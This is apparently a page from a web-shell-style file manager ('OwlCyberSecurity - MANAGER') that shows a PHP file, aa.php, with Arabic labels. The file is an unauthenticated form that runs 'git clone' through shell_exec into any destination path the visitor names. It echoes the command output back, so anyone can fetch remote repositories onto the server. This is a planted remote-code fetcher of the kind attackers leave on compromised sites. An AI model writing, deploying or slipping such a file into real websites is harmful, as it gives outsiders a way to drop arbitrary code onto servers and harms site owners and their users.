OwlCyberSecurity - MANAGER
Edit File: aa.php
<?php // التأكد من استقبال المدخلات $repoUrl = isset($_POST['repo_url']) ? trim($_POST['repo_url']) : ''; $destination = isset($_POST['destination']) ? trim($_POST['destination']) : ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!empty($repoUrl) && !empty($destination)) { // التأكد من أن الوجهة موجودة if (!is_dir($destination)) { mkdir($destination, 0755, true); } // تنفيذ أمر git clone $command = "git clone " . escapeshellarg($repoUrl) . " " . escapeshellarg($destination); $output = shell_exec($command . " 2>&1"); echo "<pre>$output</pre>"; } else { echo "يرجى إدخال عنوان المستودع ووجهة الحفظ."; } } ?> <!DOCTYPE html> <html lang="ar"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Git Clone بواسطة PHP</title> </head> <body> <h1>تنفيذ Git Clone</h1> <form method="POST"> <label for="repo_url">عنوان المستودع:</label> <input type="text" name="repo_url" id="repo_url" required> <br><br> <label for="destination">وجهة الحفظ:</label> <input type="text" name="destination" id="destination" required> <br><br> <button type="submit">تنفيذ</button> </form> </body> </html>